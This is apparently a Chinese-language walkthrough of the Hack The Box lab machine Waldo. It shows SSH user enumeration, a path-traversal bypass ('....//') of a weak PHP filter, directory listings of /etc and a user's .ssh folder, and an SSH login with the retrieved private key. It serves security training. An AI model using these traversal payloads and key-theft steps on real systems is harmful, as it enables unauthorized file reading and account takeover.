Waldo(php代码审计-用户输入过滤不严)

info enum

1
2
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.5 (protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.12.2

web

1 该web,很简单,有4个php script,分别用来读、写、删除文件。

1
http://10.10.10.87/fileWrite.php

3

Trying

try1:

php版本:Powered-By: PHP/7.1.16(响应头) 中间件版本:nginx/1.12.2

怀疑php反序列化,复习一下

参考资料: 初识php反序列化

PHP Object Injection


确认输入点,是post传输。先记录下,post传输的参数字段。

1
2
3
4
5
6
7
8
9
10
11
/fileWrite.php
listnum=7&data=

/fileDelete.php
listnum=5

/fileRead.php
path=./.list/list1

/dirRead.php
path=./.list/

然后,删除主目录下所有文件;burp抓包,post发送数据listnum=1&data={"1":"New%20Item"},给fileWrite.php。 4

发现,主目录下成功生成一个新文件。 5

PHP中会调用一个函数serialize(),它接收一个给定的数组作为输入参数,并能够将数组的内容转换成正常的字符串,然后你就可以将字符串内容保存在一个文件中,也可以作为URL的一个输入值,等等。

确认反序列化漏洞。

try2: openssh用户枚举

python ssh.py --port 22 --outputFile 87.txt --userList /usr/share/wordlists/linux-user.txt 10.10.10.87

try3: 通过反序列化漏洞进行命令执行

我知道是用户输入未验证导致的问题,但不知道如何利用。还是经验不够。


writeup:

6 /dirRead.php当时发现了如图所示的“列目录”,也尝试了“../../../../etc/passwd”,但网页提示false,于是就不知道怎么办了。

想过是否泄露源代码,通过http://ip/dirRead.php去访问,当然不行,网页是空白的。


1
2
3
4
5
dirRead.php
path=./.

response网页的响应:
[".","..",".list","background.jpg","cursor.png","dirRead.php","face.png","fileDelete.php","fileRead.php","fileWrite.php","index.php","list.html","list.js"]

1
2
3
4
5
/fileRead.php
path=./.list/list1

response网页的响应:
{"file":"{\"1\":\"Enumerate\",\"2\":\"Enumerate\",\"3\":\"Enumerate\",\"4\":\"Enumerate\"}\n"}

1
2
3
4
5
6
/fileRead.php
file=./fileRead.php

response网页的响应:

{"file":"<?php\n\n\nif($_SERVER['REQUEST_METHOD'] === \"POST\"){\n\t$fileContent['file'] = false;\n\theader('Content-Type: application\/json');\n\tif(isset($_POST['file'])){\n\t\theader('Content-Type: application\/json');\n\t\t$_POST['file'] = str_replace( array(\"..\/\", \"..\\"\"), \"\", $_POST['file']);\n\t\tif(strpos($_POST['file'], \"user.txt\") === false){\n\t\t\t$file = fopen(\"\/var\/www\/html\/\" . $_POST['file'], \"r\");\n\t\t\t$fileContent['file'] = fread($file,filesize($_POST['file']));  \n\t\t\tfclose();\n\t\t}\n\t}\n\techo json_encode($fileContent);\n}\n"}

如何解析json格式数据?

sed 's/\\n/\n/g' < fileRead.php | sed 's/\\t/\t/g' | sed 's/\\//g' 将“\n”替换为换行符,“\t”替换为制表符,斜杠替换为空。

1
2
3
#!/bin/bash
read -p "filename? " file
sed 's/\n/\n/g' < ${file} | sed 's/\t/\t/g' | sed 's/\//g'

php代码分析

fileRead.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if($_SERVER['REQUEST_METHOD'] === "POST"){
	$fileContent['file'] = false;
	header('Content-Type: application/json');
	if(isset($_POST['file'])){
		header('Content-Type: application/json');
		$_POST['file'] = str_replace( array("../", "..""), "", $_POST['file']);
		if(strpos($_POST['file'], "user.txt") === false){  /*如果没有找到user.txt字符串*/
			$file = fopen("/var/www/html/" . $_POST['file'], "r");
			$fileContent['file'] = fread($file,filesize($_POST['file']));  /*读取file文件的内容*/
			fclose();
		}
	}
	echo json_encode($fileContent);
}

str_replace()函数:

如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。

将file参数输入的数../..替换为空。

所以../../etc/passwd,会替换为etc/passwd

dirRead.php

1
2
3
4
5
6
7
8
9
10
11
12
13
{"file":"<?php

if($_SERVER['REQUEST_METHOD'] === "POST"){
	if(isset($_POST['path'])){
		header('Content-type: application/json');
		$_POST['path'] = str_replace( array("../", "..""), "", $_POST['path']);
		echo json_encode(scandir("/var/www/html/" . $_POST['path']));
	}else{
		header('Content-type: application/json');
		echo '[false]';
	}
}
"}

scandir() 函数返回指定目录中的文件和目录的数组。


获取敏感信息

7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
path=./
path=
[".","..",".list","background.jpg","cursor.png","dirRead.php","face.png","fileDelete.php","fileRead.php","fileWrite.php","index.php","list.html","list.js"]

推测 /var/www/html/目录下有这些文件
于是访问http://10.10.10.87/background.jpg,成功验证。
--------------------------
path=./.list
[".","..","list1","list2"]
了解到/var/www/html/.list目录下后这些文件
---------------------
于是想要访问/var/www/,查看目录下有哪些文件
path=..../
[".","..","html","localhost"]
于是获得该目录有这两个文件。
-----------
path=....//....//
[".","..","cache","empty","lib","local","lock","log","opt","run","spool","tmp","www"]
------------
path=....//....//....//
[".","..",".dockerenv","bin","dev","etc","home","lib","media","mnt","proc","root","run","sbin","srv","sys","tmp","usr","var"]
-------------
path=....//....//....//etc
[".","..","TZ","alpine-release","apk","ca-certificates","ca-certificates.conf","conf.d","crontabs","default","environment","fstab","group","group-","hostname","hosts","init.d","inittab","issue","localtime","login.defs","logrotate.d","modprobe.d","modules","modules-load.d","motd","mtab","network","nginx","opt","os-release","pam.d","passwd","passwd-","periodic","php7","profile","profile.d","protocols","resolv.conf","securetty","security","services","shadow","shadow-","shells","ssh","ssl","supervisor","supervisord.conf","sysctl.conf","sysctl.d","terminfo","udhcpd.conf","vim"]

8


本来想直接列user.txt,但可能有权限问题,提示false。

1
2
path=....//....//....//....//home/nobody/
[".","..",".ash_history",".ssh",".viminfo","user.txt"]

file=….//….//….//….//home/nobody/.ssh/authorized_keys ssh密钥文件


获得shell

1
2
3
4
5
6
7
8
9
ssh nobody@10.10.10.87 -i id_rsa
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
Permission denied (publickey).

遇到一个错误。

是id_rsa权限问题

1
2
3
-rw-r--r-- 1 root root   1675 Dec 21 22:47 id_rsa
修改一下权限,chmod 400 id_rsa
-r-------- 1 root root   1675 Dec 21 22:47 id_rsa

9

今天也是菜菜的一天,继续加油吧~~